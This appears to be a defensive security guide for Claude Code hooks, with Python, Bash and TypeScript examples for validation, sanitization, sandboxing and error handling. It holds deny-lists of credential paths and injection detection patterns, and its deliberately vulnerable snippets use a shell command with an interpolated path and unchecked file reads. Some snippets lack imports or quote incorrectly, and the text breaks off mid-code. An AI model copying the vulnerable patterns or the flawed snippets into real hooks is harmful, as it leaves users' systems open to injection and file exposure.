Comprehensive Security Guide for Claude Code Hooks
This guide provides an in-depth exploration of security best practices for developing Claude Code hooks, based on the latest industry standards, OWASP guidelines, and lessons learned from real-world security incidents in 2024.
Table of Contents
- Understanding the Security Landscape
- Input Validation Techniques
- Output Sanitization Methods
- Implementing Least Privilege
- Secure Error Handling
- External API Security
- Common Hook Vulnerabilities
- Real-World Examples and Code Snippets
- Security Testing and Validation
- Emergency Response Procedures
Understanding the Security Landscape
The Current Threat Environment (2024)
Claude Code hooks operate in an increasingly complex security landscape where AI-powered automation tools are prime targets for attackers. Recent research shows that:
- 75% of businesses have adopted GenAI tools in their workflows (Statista, July 2024)
- Prompt injection is identified as the #1 vulnerability in OWASP’s Top 10 for LLM Applications
- 87% success rate for AI-powered exploitation when attackers have CVE descriptions (2024 study)
- 536 broken links in documentation can create security blind spots where users implement insecure patterns
Hook-Specific Security Challenges
Claude Code hooks present unique security challenges:
- Arbitrary Command Execution: Hooks execute shell commands with user privileges
- Dynamic Input Processing: Variables from Claude’s context can contain untrusted data
- Chain of Trust: Multiple hooks executing sequentially can compound vulnerabilities
- Context Persistence: Data can persist between hook executions
Input Validation Techniques
1. Comprehensive Input Validation Framework
#!/usr/bin/env python3
import json
import sys
import re
import os
from pathlib import Path
from typing import Tuple, List, Optional
class HookInputValidator:
"""Comprehensive input validation for Claude Code hooks"""
def __init__(self):
# Define validation rules
self.ALLOWED_TOOLS = ['Edit', 'Write', 'Read', 'MultiEdit']
self.ALLOWED_EXTENSIONS = ['.py', '.js', '.ts', '.jsx', '.tsx', '.json', '.md', '.yml', '.yaml']
self.FORBIDDEN_PATTERNS = [
r'\.\./', # Path traversal
r'\.env', # Environment files
r'\.git/', # Git internals
r'\.ssh/', # SSH keys
r'\.aws/', # AWS credentials
r'node_modules/', # Dependencies
r'__pycache__/', # Python cache
]
# Define safe path boundaries
self.PROJECT_ROOT = Path.cwd().resolve()
self.ALLOWED_PATHS = [
self.PROJECT_ROOT / 'src',
self.PROJECT_ROOT / 'tests',
self.PROJECT_ROOT / 'docs',
]
def validate_tool_name(self, tool_name: str) -> Tuple[bool, str]:
"""Validate tool name against whitelist"""
if not tool_name:
return False, "Tool name is required"
if tool_name not in self.ALLOWED_TOOLS:
return False, f"Tool '{tool_name}' is not allowed. Allowed tools: {', '.join(self.ALLOWED_TOOLS)}"
return True, "Valid tool"
def validate_file_path(self, file_path: str) -> Tuple[bool, str]:
"""Comprehensive file path validation"""
if not file_path:
return False, "File path is required"
try:
# Resolve to absolute path
abs_path = Path(file_path).resolve()
# Check if path is within project boundaries
if not any(abs_path.is_relative_to(allowed) for allowed in self.ALLOWED_PATHS):
return False, f"Path '{file_path}' is outside allowed directories"
# Check forbidden patterns
for pattern in self.FORBIDDEN_PATTERNS:
if re.search(pattern, str(abs_path)):
return False, f"Path matches forbidden pattern: {pattern}"
# Check file extension
if abs_path.suffix not in self.ALLOWED_EXTENSIONS:
return False, f"File type '{abs_path.suffix}' is not allowed"
# Additional security checks
if abs_path.is_symlink():
return False, "Symbolic links are not allowed"
return True, "Valid path"
except Exception as e:
return False, f"Path validation error: {str(e)}"
def validate_content(self, content: str) -> Tuple[bool, str]:
"""Validate file content for dangerous patterns"""
dangerous_patterns = [
(r'<script[\s\S]*?>[\s\S]*?<\/script>', 'Script tags detected'),
(r'javascript:', 'JavaScript protocol detected'),
(r'data:text/html', 'Data URL detected'),
(r'eval\s*\(', 'Eval function detected'),
(r'exec\s*\(', 'Exec function detected'),
(r'__import__', 'Dynamic import detected'),
(r'subprocess\.(call|run|Popen)', 'Subprocess execution detected'),
(r'os\.system', 'System command execution detected'),
]
for pattern, message in dangerous_patterns:
if re.search(pattern, content, re.IGNORECASE):
return False, message
return True, "Content validated"
def validate_json_structure(self, data: dict) -> Tuple[bool, str]:
"""Validate JSON structure and data types"""
required_fields = ['tool_name', 'tool_input']
for field in required_fields:
if field not in data:
return False, f"Missing required field: {field}"
# Validate nested structure
tool_input = data.get('tool_input', {})
if not isinstance(tool_input, dict):
return False, "tool_input must be a dictionary"
return True, "Valid JSON structure"
def main():
"""Main validation entry point for hooks"""
try:
# Read input from stdin
data = json.load(sys.stdin)
# Initialize validator
validator = HookInputValidator()
# Perform comprehensive validation
validations = [
validator.validate_json_structure(data),
validator.validate_tool_name(data.get('tool_name', '')),
]
# Validate file paths if present
file_path = data.get('tool_input', {}).get('file_path', '')
if file_path:
validations.append(validator.validate_file_path(file_path))
# Validate content if present
content = data.get('tool_input', {}).get('content', '')
if content:
validations.append(validator.validate_content(content))
# Check all validations
for valid, message in validations:
if not valid:
print(json.dumps({
'continue': False,
'stopReason': f'Security validation failed: {message}'
}))
return 2
# All validations passed
return 0
except Exception as e:
print(json.dumps({
'continue': False,
'stopReason': f'Validation error: {str(e)}'
}))
return 2
if __name__ == '__main__':
sys.exit(main())2. Shell Command Injection Prevention
#!/bin/bash
# Secure shell hook with injection prevention
# Enable strict mode
set -euo pipefail
IFS=$'\n\t'
# Function to safely quote arguments
safe_quote() {
printf '%q' "$1"
}
# Function to validate and sanitize file paths
validate_path() {
local path="$1"
local safe_path
# Remove any command substitution attempts
safe_path="${path//\$(/}"
safe_path="${safe_path//\`/}"
safe_path="${safe_path//;/}"
safe_path="${safe_path//|/}"
safe_path="${safe_path//&/}"
safe_path="${safe_path//>/}"
safe_path="${safe_path//</}"
# Ensure path is within project
if [[ ! "$safe_path" =~ ^/home/user/project/ ]]; then
echo "Error: Path outside project boundary" >&2
exit 2
fi
echo "$safe_path"
}
# Main hook logic
if [ -n "${CLAUDE_FILE_PATHS:-}" ]; then
# Split paths safely
IFS=':' read -ra PATHS <<< "$CLAUDE_FILE_PATHS"
for path in "${PATHS[@]}"; do
# Validate each path
safe_path=$(validate_path "$path")
# Use the path safely (example: run prettier)
# Notice: no eval, no unquoted variables
if [ -f "$safe_path" ]; then
prettier --write "$(safe_quote "$safe_path")"
fi
done
fi3. Advanced Pattern Matching
#!/usr/bin/env python3
import re
from typing import List, Dict, Any
class SecurityPatternMatcher:
"""Advanced pattern matching for security validation"""
def __init__(self):
# Compile patterns for performance
self.compiled_patterns = {
'sql_injection': re.compile(
r"(\b(SELECT|INSERT|UPDATE|DELETE|DROP|UNION|CREATE|ALTER)\b.*\b(FROM|INTO|WHERE|SET)\b)|"
r"(--)|(/\*.*\*/)|(\' OR \'1\'=\'1)|(\" OR \"1\"=\"1)|(\' OR 1=1)",
re.IGNORECASE
),
'command_injection': re.compile(
r"([;&|])|(\$\()|(`)|(\${)|(<\()|(\|\|)|(&&)|"
r"(>\s*/dev/null)|(2>&1)",
re.MULTILINE
),
'path_traversal': re.compile(
r"(\.\./)|(\.\.\\)|(%2e%2e)|(%252e%252e)|"
r"(\.\.%c0%af)|(\.\.%c1%9c)",
re.IGNORECASE
),
'xxe_injection': re.compile(
r"(<!DOCTYPE[^>]*\[)|"
r"(<!ENTITY)|"
r"(SYSTEM\s+[\"']file:)",
re.IGNORECASE | re.MULTILINE
),
'ldap_injection': re.compile(
r"[*()\\&|=]|"
r"(\)(\s*)\()|"
r"(\)(\s*)\|)",
re.MULTILINE
)
}
def check_patterns(self, input_string: str) -> List[Dict[str, Any]]:
"""Check input against all security patterns"""
violations = []
for pattern_name, pattern in self.compiled_patterns.items():
matches = pattern.finditer(input_string)
for match in matches:
violations.append({
'type': pattern_name,
'matched': match.group(),
'position': match.span(),
'severity': self._get_severity(pattern_name)
})
return violations
def _get_severity(self, pattern_type: str) -> str:
"""Determine severity level for pattern type"""
severity_map = {
'sql_injection': 'critical',
'command_injection': 'critical',
'path_traversal': 'high',
'xxe_injection': 'high',
'ldap_injection': 'medium'
}
return severity_map.get(pattern_type, 'low')Output Sanitization Methods
1. Context-Aware Output Sanitization
#!/usr/bin/env python3
import html
import json
import re
from urllib.parse import quote
from typing import Any, Dict
class OutputSanitizer:
"""Context-aware output sanitization for different contexts"""
@staticmethod
def sanitize_html(content: str) -> str:
"""Sanitize content for HTML context"""
# Basic HTML entity encoding
sanitized = html.escape(content, quote=True)
# Additional protection against specific attacks
# Remove any remaining script tags (belt and suspenders)
sanitized = re.sub(r'<script[^>]*>.*?</script>', '', sanitized, flags=re.IGNORECASE | re.DOTALL)
# Remove javascript: protocol
sanitized = re.sub(r'javascript:', '', sanitized, flags=re.IGNORECASE)
# Remove data: URLs that could contain scripts
sanitized = re.sub(r'data:text/html[^,]*,', '', sanitized, flags=re.IGNORECASE)
return sanitized
@staticmethod
def sanitize_json(data: Any) -> str:
"""Sanitize data for JSON output"""
# Use json.dumps with proper escaping
return json.dumps(data, ensure_ascii=True, cls=SecureJSONEncoder)
@staticmethod
def sanitize_shell(command: str) -> str:
"""Sanitize content for shell context"""
# Remove all shell metacharacters
dangerous_chars = ';|&$`\\\'\"<>(){}[]!#~*?'
for char in dangerous_chars:
command = command.replace(char, '')
# Additional validation
if re.search(r'\n|\r', command):
raise ValueError("Newlines not allowed in shell commands")
return command
@staticmethod
def sanitize_url(url: str) -> str:
"""Sanitize URL parameters"""
# URL encode all special characters
return quote(url, safe=':/?#[]@!$&\'()*+,;=')
@staticmethod
def sanitize_log(message: str) -> str:
"""Sanitize content for log output"""
# Remove CRLF to prevent log injection
sanitized = message.replace('\r', '').replace('\n', ' ')
# Limit length to prevent log flooding
max_length = 1000
if len(sanitized) > max_length:
sanitized = sanitized[:max_length] + '... (truncated)'
return sanitized
class SecureJSONEncoder(json.JSONEncoder):
"""Custom JSON encoder with additional security measures"""
def encode(self, o):
# Ensure all strings are properly escaped
if isinstance(o, str):
# Additional escaping for common XSS vectors
o = o.replace('<', '\\u003c')
o = o.replace('>', '\\u003e')
o = o.replace('&', '\\u0026')
return super().encode(o)
# Example usage in a hook
def process_output(data: Dict[str, Any], context: str) -> str:
"""Process and sanitize output based on context"""
sanitizer = OutputSanitizer()
if context == 'html':
return sanitizer.sanitize_html(str(data))
elif context == 'json':
return sanitizer.sanitize_json(data)
elif context == 'shell':
return sanitizer.sanitize_shell(str(data))
elif context == 'log':
return sanitizer.sanitize_log(str(data))
else:
# Default to most restrictive sanitization
return sanitizer.sanitize_html(str(data))2. DOMPurify-Style Sanitization for Hooks
// TypeScript implementation for hook output sanitization
import * as cheerio from 'cheerio';
interface SanitizationConfig {
allowedTags: string[];
allowedAttributes: Record<string, string[]>;
allowedProtocols: string[];
stripIgnoreTag: boolean;
stripIgnoreTagBody: string[];
}
class HookOutputSanitizer {
private config: SanitizationConfig = {
allowedTags: ['p', 'br', 'span', 'div', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
'blockquote', 'code', 'pre', 'a', 'em', 'strong', 'ul', 'ol', 'li'],
allowedAttributes: {
'a': ['href', 'title'],
'code': ['class'],
'pre': ['class']
},
allowedProtocols: ['http', 'https', 'mailto'],
stripIgnoreTag: true,
stripIgnoreTagBody: ['script', 'style']
};
sanitize(dirty: string): string {
const $ = cheerio.load(dirty);
// Remove all script and style tags and their contents
this.config.stripIgnoreTagBody.forEach(tag => {
$(tag).remove();
});
// Process all elements
$('*').each((_, elem) => {
const $elem = $(elem);
const tagName = elem.tagName.toLowerCase();
// Remove disallowed tags
if (!this.config.allowedTags.includes(tagName)) {
if (this.config.stripIgnoreTag) {
$elem.replaceWith($elem.html() || '');
} else {
$elem.remove();
}
return;
}
// Process attributes
const attributes = elem.attribs;
const allowedAttrs = this.config.allowedAttributes[tagName] || [];
Object.keys(attributes).forEach(attr => {
if (!allowedAttrs.includes(attr)) {
$elem.removeAttr(attr);
} else if (attr === 'href' || attr === 'src') {
// Validate URL protocols
const value = attributes[attr];
if (!this.isValidUrl(value)) {
$elem.removeAttr(attr);
}
}
});
});
return $.html();
}
private isValidUrl(url: string): boolean {
try {
const parsed = new URL(url);
const protocol = parsed.protocol.slice(0, -1); // Remove trailing colon
return this.config.allowedProtocols.includes(protocol);
} catch {
// Relative URLs are allowed
return !url.includes(':');
}
}
}Implementing Least Privilege
1. Privilege Separation Architecture
#!/usr/bin/env python3
import os
import pwd
import subprocess
import tempfile
from pathlib import Path
from typing import List, Optional
class PrivilegeSeparation:
"""Implement least privilege principle for hook execution"""
def __init__(self, hook_name: str):
self.hook_name = hook_name
self.restricted_user = 'claude-hook-runner' # Dedicated low-privilege user
self.chroot_base = Path('/var/lib/claude-hooks/chroot')
def setup_restricted_environment(self) -> dict:
"""Create a restricted execution environment"""
env = {
# Minimal PATH
'PATH': '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin',
# Remove potentially dangerous variables
'LD_PRELOAD': '',
'LD_LIBRARY_PATH': '',
'PYTHONPATH': '',
'PERL5LIB': '',
'RUBYLIB': '',
# Set secure defaults
'IFS': ' \t\n',
'TMPDIR': tempfile.mkdtemp(prefix='claude-hook-'),
}
# Only pass through specific Claude variables
claude_vars = ['CLAUDE_TOOL_NAME', 'CLAUDE_FILE_PATHS', 'CLAUDE_SESSION_ID']
for var in claude_vars:
if var in os.environ:
env[var] = os.environ[var]
return env
def create_sandbox(self) -> Path:
"""Create a sandboxed filesystem for hook execution"""
sandbox_dir = self.chroot_base / self.hook_name / os.urandom(8).hex()
sandbox_dir.mkdir(parents=True, mode=0o755)
# Create minimal filesystem structure
for dir_name in ['bin', 'lib', 'lib64', 'usr', 'tmp', 'dev']:
(sandbox_dir / dir_name).mkdir(mode=0o755)
# Copy only necessary binaries
allowed_binaries = ['/bin/sh', '/bin/bash', '/usr/bin/env']
for binary in allowed_binaries:
if Path(binary).exists():
self._copy_with_deps(binary, sandbox_dir)
return sandbox_dir
def execute_with_privileges(self, command: List[str],
timeout: int = 30) -> subprocess.CompletedProcess:
"""Execute command with restricted privileges"""
# Drop privileges if running as root
if os.geteuid() == 0:
pw_record = pwd.getpwnam(self.restricted_user)
def demote():
os.setgid(pw_record.pw_gid)
os.setuid(pw_record.pw_uid)
preexec_fn = demote
else:
preexec_fn = None
# Set up restricted environment
env = self.setup_restricted_environment()
# Execute with restrictions
try:
result = subprocess.run(
command,
env=env,
preexec_fn=preexec_fn,
timeout=timeout,
capture_output=True,
text=True,
# Prevent shell injection
shell=False,
# Limit resources
start_new_session=True
)
return result
except subprocess.TimeoutExpired:
raise TimeoutError(f"Hook execution timed out after {timeout} seconds")
finally:
# Cleanup temporary directory
if 'TMPDIR' in env and Path(env['TMPDIR']).exists():
import shutil
shutil.rmtree(env['TMPDIR'], ignore_errors=True)
def _copy_with_deps(self, binary: str, sandbox: Path):
"""Copy binary and its dependencies to sandbox"""
# This is a simplified version - in production, use ldd or similar
import shutil
dest = sandbox / binary.lstrip('/')
dest.parent.mkdir(parents=True, exist_ok=True)
shutil.copy2(binary, dest)
dest.chmod(0o755)
# Example usage
def run_hook_safely(hook_script: str, args: List[str]) -> int:
"""Run a hook with least privilege"""
separator = PrivilegeSeparation(hook_script)
try:
result = separator.execute_with_privileges(
[hook_script] + args,
timeout=60
)
if result.returncode != 0:
print(f"Hook failed with exit code {result.returncode}")
print(f"Error output: {result.stderr}")
return result.returncode
except Exception as e:
print(f"Hook execution failed: {e}")
return 12. Capability-Based Security
#!/bin/bash
# Hook wrapper with Linux capabilities support
# Check if we have CAP_SETUID capability (should not!)
if capsh --print | grep -q "Current.*cap_setuid"; then
echo "ERROR: Hook should not have CAP_SETUID capability" >&2
exit 2
fi
# Drop all capabilities except what's needed
capsh --drop=all --caps="cap_dac_read_search+eip" -- -c "$@"3. Resource Limitation
#!/usr/bin/env python3
import resource
import signal
import sys
class ResourceLimiter:
"""Enforce resource limits on hook execution"""
def __init__(self):
self.limits = {
# CPU time limit (seconds)
resource.RLIMIT_CPU: (30, 30),
# Memory limit (bytes) - 100MB
resource.RLIMIT_AS: (100 * 1024 * 1024, 100 * 1024 * 1024),
# Number of open files
resource.RLIMIT_NOFILE: (50, 50),
# Number of processes
resource.RLIMIT_NPROC: (10, 10),
# File size limit (bytes) - 10MB
resource.RLIMIT_FSIZE: (10 * 1024 * 1024, 10 * 1024 * 1024),
}
def apply_limits(self):
"""Apply all resource limits"""
for limit_type, (soft, hard) in self.limits.items():
try:
resource.setrlimit(limit_type, (soft, hard))
except ValueError:
# Some limits may not be available on all systems
pass
def set_timeout(self, seconds: int):
"""Set execution timeout"""
def timeout_handler(signum, frame):
sys.stderr.write("Hook execution timed out\n")
sys.exit(2)
signal.signal(signal.SIGALRM, timeout_handler)
signal.alarm(seconds)
# Apply limits at hook startup
if __name__ == '__main__':
limiter = ResourceLimiter()
limiter.apply_limits()
limiter.set_timeout(60)
# Continue with hook execution
# ... your hook code here ...Secure Error Handling
1. Error Handling Without Information Leakage
#!/usr/bin/env python3
import json
import logging
import sys
import traceback
from datetime import datetime
from typing import Any, Dict
class SecureErrorHandler:
"""Handle errors without leaking sensitive information"""
def __init__(self, log_file: str = '/var/log/claude-hooks/errors.log'):
# Set up secure logging
self.logger = logging.getLogger('claude-hook-security')
handler = logging.FileHandler(log_file, mode='a')
handler.setFormatter(
logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')
)
self.logger.addHandler(handler)
self.logger.setLevel(logging.INFO)
# Error codes for different scenarios
self.error_codes = {
'validation_failed': 'E001',
'permission_denied': 'E002',
'resource_limit': 'E003',
'timeout': 'E004',
'internal_error': 'E999'
}
def handle_error(self, error: Exception, context: Dict[str, Any]) -> Dict[str, Any]:
"""Handle error securely without exposing internals"""
# Generate unique error ID
error_id = f"{datetime.utcnow().strftime('%Y%m%d%H%M%S')}-{id(error)}"
# Log full error details internally
self.logger.error(f"Error ID: {error_id}", extra={
'error_type': type(error).__name__,
'error_message': str(error),
'traceback': traceback.format_exc(),
'context': self._sanitize_context(context)
})
# Determine error category
error_code = self._categorize_error(error)
# Return sanitized error response
return {
'error': True,
'error_code': error_code,
'error_id': error_id,
'message': self._get_user_message(error_code),
'timestamp': datetime.utcnow().isoformat()
}
def _categorize_error(self, error: Exception) -> str:
"""Categorize error without exposing details"""
error_type = type(error).__name__
if error_type in ['PermissionError', 'AccessDenied']:
return self.error_codes['permission_denied']
elif error_type in ['TimeoutError', 'Timeout']:
return self.error_codes['timeout']
elif error_type in ['MemoryError', 'ResourceExhausted']:
return self.error_codes['resource_limit']
elif error_type in ['ValidationError', 'ValueError']:
return self.error_codes['validation_failed']
else:
return self.error_codes['internal_error']
def _get_user_message(self, error_code: str) -> str:
"""Get user-friendly error message"""
messages = {
'E001': 'Input validation failed. Please check your request.',
'E002': 'Permission denied for this operation.',
'E003': 'Resource limit exceeded.',
'E004': 'Operation timed out.',
'E999': 'An internal error occurred. Please contact support with the error ID.'
}
return messages.get(error_code, 'An unknown error occurred.')
def _sanitize_context(self, context: Dict[str, Any]) -> Dict[str, Any]:
"""Remove sensitive information from context before logging"""
sensitive_keys = ['password', 'token', 'secret', 'key', 'auth', 'credential']
sanitized = {}
for key, value in context.items():
if any(sensitive in key.lower() for sensitive in sensitive_keys):
sanitized[key] = '***REDACTED***'
elif isinstance(value, str) and len(value) > 1000:
sanitized[key] = value[:100] + '... (truncated)'
else:
sanitized[key] = value
return sanitized
# Example usage in a hook
def main():
error_handler = SecureErrorHandler()
try:
# Read input
data = json.load(sys.stdin)
# Your hook logic here
result = process_hook(data)
print(json.dumps(result))
return 0
except Exception as e:
# Handle error securely
error_response = error_handler.handle_error(e, {
'hook_name': 'example_hook',
'input_size': len(str(data)) if 'data' in locals() else 0
})
print(json.dumps(error_response), file=sys.stderr)
return 1
if __name__ == '__main__':
sys.exit(main())2. Secure Logging Practices
import hashlib
import hmac
from typing import Any
class SecureLogger:
"""Secure logging with PII protection"""
def __init__(self, secret_key: bytes):
self.secret_key = secret_key
self.pii_patterns = {
'email': re.compile(r'\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b'),
'phone': re.compile(r'\b\d{3}[-.]?\d{3}[-.]?\d{4}\b'),
'ssn': re.compile(r'\b\d{3}-\d{2}-\d{4}\b'),
'credit_card': re.compile(r'\b\d{4}[\s-]?\d{4}[\s-]?\d{4}[\s-]?\d{4}\b'),
}
def log_event(self, event_type: str, data: Dict[str, Any]):
"""Log event with PII masking"""
sanitized_data = self._mask_pii(data)
log_entry = {
'timestamp': datetime.utcnow().isoformat(),
'event_type': event_type,
'data': sanitized_data,
'hash': self._generate_hash(data) # For correlation without storing PII
}
self.logger.info(json.dumps(log_entry))
def _mask_pii(self, data: Any) -> Any:
"""Recursively mask PII in data structures"""
if isinstance(data, str):
masked = data
for pattern_name, pattern in self.pii_patterns.items():
masked = pattern.sub(f'[{pattern_name.upper()}_MASKED]', masked)
return masked
elif isinstance(data, dict):
return {k: self._mask_pii(v) for k, v in data.items()}
elif isinstance(data, list):
return [self._mask_pii(item) for item in data]
else:
return data
def _generate_hash(self, data: Any) -> str:
"""Generate HMAC hash for data correlation"""
data_str = json.dumps(data, sort_keys=True)
return hmac.new(
self.secret_key,
data_str.encode('utf-8'),
hashlib.sha256
).hexdigest()External API Security
1. Secure API Client Implementation
#!/usr/bin/env python3
import time
import hmac
import hashlib
import requests
from typing import Dict, Any, Optional
from urllib.parse import urlencode
import jwt
class SecureAPIClient:
"""Secure API client with authentication and CSRF protection"""
def __init__(self, api_key: str, api_secret: str, base_url: str):
self.api_key = api_key
self.api_secret = api_secret.encode('utf-8')
self.base_url = base_url
self.session = requests.Session()
# Security headers
self.session.headers.update({
'X-API-Key': self.api_key,
'User-Agent': 'Claude-Hook-Client/1.0',
'Accept': 'application/json',
'Content-Type': 'application/json'
})
# Rate limiting
self.rate_limiter = RateLimiter(
max_requests=100,
time_window=60 # 100 requests per minute
)
def request(self, method: str, endpoint: str,
data: Optional[Dict[str, Any]] = None,
timeout: int = 30) -> requests.Response:
"""Make secure API request with signing and CSRF protection"""
# Rate limiting check
if not self.rate_limiter.allow_request():
raise Exception("Rate limit exceeded")
# Prepare request
url = f"{self.base_url}/{endpoint.lstrip('/')}"
timestamp = str(int(time.time()))
nonce = os.urandom(16).hex()
# Create signature
signature_data = f"{method}:{endpoint}:{timestamp}:{nonce}"
if data:
signature_data += f":{json.dumps(data, sort_keys=True)}"
signature = hmac.new(
self.api_secret,
signature_data.encode('utf-8'),
hashlib.sha256
).hexdigest()
# Add security headers
headers = {
'X-Timestamp': timestamp,
'X-Nonce': nonce,
'X-Signature': signature,
'X-CSRF-Token': self._get_csrf_token()
}
# Make request with timeout
try:
response = self.session.request(
method=method,
url=url,
json=data,
headers=headers,
timeout=timeout,
verify=True # Always verify SSL certificates
)
# Validate response
self._validate_response(response)
return response
except requests.exceptions.Timeout:
raise TimeoutError(f"API request timed out after {timeout} seconds")
except requests.exceptions.SSLError as e:
raise Exception(f"SSL verification failed: {e}")
def _get_csrf_token(self) -> str:
"""Generate CSRF token"""
# In a real implementation, this would be obtained from the server
data = f"{self.api_key}:{time.time()}"
return hmac.new(
self.api_secret,
data.encode('utf-8'),
hashlib.sha256
).hexdigest()
def _validate_response(self, response: requests.Response):
"""Validate API response"""
# Check for security headers
required_headers = ['X-Content-Type-Options', 'X-Frame-Options']
for header in required_headers:
if header not in response.headers:
raise Exception(f"Missing security header: {header}")
# Validate content type
content_type = response.headers.get('Content-Type', '')
if 'application/json' not in content_type:
raise Exception(f"Unexpected content type: {content_type}")
# Check for error responses
if response.status_code >= 400:
raise Exception(f"API error: {response.status_code}")
class RateLimiter:
"""Token bucket rate limiter"""
def __init__(self, max_requests: int, time_window: int):
self.max_requests = max_requests
self.time_window = time_window
self.requests = []
def allow_request(self) -> bool:
"""Check if request is allowed under rate limit"""
now = time.time()
# Remove old requests outside time window
self.requests = [
req_time for req_time in self.requests
if now - req_time < self.time_window
]
# Check if under limit
if len(self.requests) < self.max_requests:
self.requests.append(now)
return True
return False2. JWT Token Validation
def validate_jwt_token(token: str, public_key: str) -> Dict[str, Any]:
"""Securely validate JWT tokens"""
try:
# Decode and verify token
payload = jwt.decode(
token,
public_key,
algorithms=['RS256'], # Only allow secure algorithms
options={
'verify_signature': True,
'verify_exp': True,
'verify_nbf': True,
'verify_iat': True,
'verify_aud': True,
'require': ['exp', 'iat', 'sub']
}
)
# Additional validation
if 'sub' not in payload or not payload['sub']:
raise jwt.InvalidTokenError("Missing subject")
# Check token age
iat = payload.get('iat', 0)
if time.time() - iat > 3600: # Max 1 hour old
raise jwt.InvalidTokenError("Token too old")
return payload
except jwt.ExpiredSignatureError:
raise Exception("Token has expired")
except jwt.InvalidTokenError as e:
raise Exception(f"Invalid token: {e}")Common Hook Vulnerabilities
1. Command Injection Vulnerabilities
# VULNERABLE: Direct command execution
def vulnerable_hook(file_path):
# DON'T DO THIS!
os.system(f"prettier --write {file_path}") # Command injection possible
# SECURE: Proper command execution
def secure_hook(file_path):
# Validate input first
if not validate_file_path(file_path):
raise ValueError("Invalid file path")
# Use subprocess with list arguments (no shell)
result = subprocess.run(
['prettier', '--write', file_path],
capture_output=True,
text=True,
timeout=30
)
if result.returncode != 0:
raise Exception(f"Prettier failed: {result.stderr}")2. Path Traversal Vulnerabilities
# VULNERABLE: No path validation
def vulnerable_read(file_path):
# DON'T DO THIS!
with open(file_path, 'r') as f: # Could read /etc/passwd
return f.read()
# SECURE: Path validation and sandboxing
def secure_read(file_path):
# Resolve to absolute path
abs_path = Path(file_path).resolve()
# Ensure within project directory
project_root = Path.cwd()
try:
abs_path.relative_to(project_root)
except ValueError:
raise PermissionError("Access denied: Path outside project")
# Additional checks
if abs_path.is_symlink():
raise PermissionError("Symbolic links not allowed")
# Safe to read
with open(abs_path, 'r') as f:
return f.read()3. Race Condition Vulnerabilities
import fcntl
import tempfile
# VULNERABLE: TOCTOU race condition
def vulnerable_temp_file():
# DON'T DO THIS!
temp_path = f"/tmp/claude-hook-{os.getpid()}"
if not os.path.exists(temp_path): # Race condition here!
with open(temp_path, 'w') as f:
f.write("data")
# SECURE: Atomic operations
def secure_temp_file():
# Use secure temporary file creation
with tempfile.NamedTemporaryFile(
mode='w',
prefix='claude-hook-',
delete=False
) as tmp:
tmp.write("data")
temp_path = tmp.name
# Set secure permissions
os.chmod(temp_path, 0o600)
# Use file locking for additional safety
with open(temp_path, 'r+') as f:
fcntl.flock(f.fileno(), fcntl.LOCK_EX)
try:
# Work with file
data = f.read()
finally:
fcntl.flock(f.fileno(), fcntl.LOCK_UN)
# Clean up
os.unlink(temp_path)4. Information Disclosure
# VULNERABLE: Exposes system information
def vulnerable_error_handler(error):
# DON'T DO THIS!
return {
'error': str(error),
'traceback': traceback.format_exc(), # Exposes internals
'system': platform.uname()._asdict(), # System information
'environment': dict(os.environ) # All environment variables!
}
# SECURE: Minimal error information
def secure_error_handler(error):
error_id = generate_error_id()
# Log detailed error internally
logger.error(f"Error {error_id}: {error}", exc_info=True)
# Return minimal information to user
return {
'error': True,
'error_id': error_id,
'message': 'An error occurred. Please contact support with the error ID.'
}Real-World Examples and Code Snippets
1. Complete Secure Hook Example
#!/usr/bin/env python3
"""
Secure Claude Code Hook Example
Demonstrates all security best practices
"""
import json
import sys
import os
import subprocess
import tempfile
import hashlib
from pathlib import Path
from typing import Dict, Any, Tuple
# Configuration
ALLOWED_TOOLS = ['Edit', 'Write', 'Read']
ALLOWED_EXTENSIONS = ['.py', '.js', '.ts', '.json', '.md']
MAX_FILE_SIZE = 10 * 1024 * 1024 # 10MB
class SecureHook:
def __init__(self):
self.project_root = Path.cwd().resolve()
self.temp_dir = None
def validate_input(self, data: Dict[str, Any]) -> Tuple[bool, str]:
"""Comprehensive input validation"""
# Validate structure
if 'tool_name' not in data or 'tool_input' not in data:
return False, "Missing required fields"
# Validate tool name
if data['tool_name'] not in ALLOWED_TOOLS:
return False, f"Tool {data['tool_name']} not allowed"
# Validate file path if present
tool_input = data.get('tool_input', {})
if 'file_path' in tool_input:
valid, msg = self.validate_file_path(tool_input['file_path'])
if not valid:
return False, msg
# Validate content if present
if 'content' in tool_input:
valid, msg = self.validate_content(tool_input['content'])
if not valid:
return False, msg
return True, "Validation passed"
def validate_file_path(self, file_path: str) -> Tuple[bool, str]:
"""Validate file path security"""
try:
path = Path(file_path).resolve()
# Must be within project
path.relative_to(self.project_root)
# Check extension
if path.suffix not in ALLOWED_EXTENSIONS:
return False, f"File type {path.suffix} not allowed"
# No symlinks
if path.is_symlink():
return False, "Symbolic links not allowed"
# Check file size if exists
if path.exists() and path.stat().st_size > MAX_FILE_SIZE:
return False, "File too large"
return True, "Valid path"
except ValueError:
return False, "Path outside project directory"
except Exception as e:
return False, f"Path validation error: {str(e)}"
def validate_content(self, content: str) -> Tuple[bool, str]:
"""Validate content for malicious patterns"""
# Check size
if len(content) > MAX_FILE_SIZE:
return False, "Content too large"
# Check for dangerous patterns
dangerous_patterns = [
(r'<script.*?>.*?</script>', 'Script tags not allowed'),
(r'eval\s*\(', 'Eval not allowed'),
(r'exec\s*\(', 'Exec not allowed'),
(r'__import__', 'Dynamic imports not allowed'),
]
for pattern, message in dangerous_patterns:
if re.search(pattern, content, re.IGNORECASE | re.DOTALL):
return False, message
return True, "Content validated"
def execute_hook(self, data: Dict[str, Any]) -> int:
"""Main hook execution with all security measures"""
# Create secure temporary directory
self.temp_dir = tempfile.mkdtemp(prefix='claude-hook-')
os.chmod(self.temp_dir, 0o700)
try:
# Validate input
valid, message = self.validate_input(data)
if not valid:
print(json.dumps({
'continue': False,
'stopReason': f'Security check failed: {message}'
}))
return 2
# Process based on tool
tool_name = data['tool_name']
if tool_name in ['Edit', 'Write']:
return self.handle_file_modification(data)
elif tool_name == 'Read':
return self.handle_file_read(data)
return 0
except Exception as e:
# Secure error handling
error_id = hashlib.sha256(str(e).encode()).hexdigest()[:8]
print(json.dumps({
'continue': False,
'stopReason': f'Hook error (ID: {error_id})'
}), file=sys.stderr)
return 1
finally:
# Cleanup
if self.temp_dir and Path(self.temp_dir).exists():
